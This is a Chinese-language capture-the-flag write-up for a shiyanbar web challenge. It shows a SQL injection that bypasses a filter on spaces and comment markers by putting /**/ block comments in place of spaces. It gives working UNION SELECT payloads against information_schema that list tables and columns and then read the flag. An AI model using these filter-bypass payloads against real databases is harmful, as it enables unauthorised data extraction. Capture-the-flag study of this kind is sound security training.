当前位置:Gxlcms > 数据库问题 > SQL注入(过滤空格和--+等注释符)

SQL注入(过滤空格和--+等注释符)

时间:2021-07-01 10:21:17 帮助过:331人阅读

1、地址:http://ctf5.shiyanbar.com/web/index_2.php(过滤了空格和--+等注释符)

思路:确定注入参数值类型,直接输入单引号,根据报错信息确定参数值类型为字符型,如下图所示。

技术分享

2、正常思路输入‘ or ‘1‘=‘1,直接报错,信息为SQLi detected!,首先猜测or被过滤,直接去掉or,继续输入‘ ‘1‘=‘1,

仍然报错,信息为SQLi detected!,猜测空格被过滤,直接输入’or‘1’=‘1,如下图所示,确定空格被过滤。

技术分享

3、尝试使用多行注释符(块注释符)、一对英文括号、换行符、加号来代替空格。

第一次尝试:快注释符/**/

输入‘/**/or/**/‘1‘=‘1

技术分享

输入‘/**/or/**/‘1‘=‘2,无任何返回,确定块注释符可以使用。

之后分别尝试括号、换行符和加号,均不可使用,最终采用块注释符。

4、爆当前数据库中的表

‘/**/union/**/select/**/concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/having‘1‘=‘1

技术分享

5、爆flag表中字段和值

 ‘/**/union/**/select/**/concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=‘flag‘/**/having/**/‘1‘=‘1

技术分享

‘/**/union/**/select/**/flag/**/from/**/flag/**/having/**/‘1‘=‘1

技术分享

 

SQL注入(过滤空格和--+等注释符)

标签:ted   inf   多行注释   ase   name   database   参数   mat   log   

人气教程排行